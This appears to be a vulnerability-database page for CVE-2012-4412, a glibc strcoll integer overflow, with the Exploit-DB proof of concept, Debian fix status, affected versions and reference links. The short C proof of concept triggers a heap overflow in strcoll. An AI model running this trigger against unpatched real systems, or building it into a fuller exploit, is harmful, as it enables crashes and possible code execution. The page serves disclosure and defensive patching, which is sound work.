CVE-2012-4412
Description
Integer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string, which triggers a heap-based buffer overflow.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GNU glibc - 'strcoll()' Routine Integer Overflow
// source: https://www.securityfocus.com/bid/55462/info
GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability.
Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users.
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 429496730
int
main (void)
{
char *p = malloc (1 + SIZE);
if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
{
puts ("setlocale failed, cannot test for overflow");
return 0;
}
if (p == NULL)
{
puts ("malloc failed, cannot test for overflow");
return 0;
}
memset (p, 'x', SIZE);
p[SIZE] = 0;
printf ("%d\n", strcoll (p, p));
return 0;
}
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.17-94 |
| sid | Fixed | 2.17-94 |
| forky | Fixed | 2.17-94 |
| bullseye | Fixed | 2.17-94 |
| bookworm | Fixed | 2.17-94 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| gnu | glibc | {"endIncluding":"2.17"} | |
| gnu | glibc | 2.0 | |
| gnu | glibc | 2.0.1 | |
| gnu | glibc | 2.0.2 | |
| gnu | glibc | 2.0.3 | |
| gnu | glibc | 2.0.4 | |
| gnu | glibc | 2.0.5 | |
| gnu | glibc | 2.0.6 | |
| gnu | glibc | 2.1 | |
| gnu | glibc | 2.1.1 | |
| gnu | glibc | 2.1.1.6 | |
| gnu | glibc | 2.1.2 | |
| gnu | glibc | 2.1.3 | |
| gnu | glibc | 2.1.9 | |
| gnu | glibc | 2.10.1 | |
| gnu | glibc | 2.11 | |
| gnu | glibc | 2.11.1 | |
| gnu | glibc | 2.11.2 | |
| gnu | glibc | 2.11.3 | |
| gnu | glibc | 2.12.1 | |
| gnu | glibc | 2.12.2 | |
| gnu | glibc | 2.13 | |
| gnu | glibc | 2.14 | |
| gnu | glibc | 2.14.1 | |
| gnu | glibc | 2.15 | |
| gnu | glibc | 2.16 | |
References
- http://packetstormsecurity.com/files/153278/WAGO-852-Industrial-Managed-Switch-Series-Code-Execution-Hardcoded-Credentials.html
- http://seclists.org/fulldisclosure/2019/Jun/18
- http://secunia.com/advisories/55113
- http://sourceware.org/bugzilla/show_bug.cgi?id=14547
- http://www.mandriva.com/security/advisories?name=MDVSA-2013:283
- http://www.mandriva.com/security/advisories?name=MDVSA-2013:284
- http://www.openwall.com/lists/oss-security/2012/09/07/9
- http://www.ubuntu.com/usn/USN-1991-1
- https://bugzilla.redhat.com/show_bug.cgi?id=855385
- https://seclists.org/bugtraq/2019/Jun/14
- https://security.gentoo.org/glsa/201503-04
- https://security-tracker.debian.org/tracker/CVE-2012-4412
CWEs
CWE-189
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.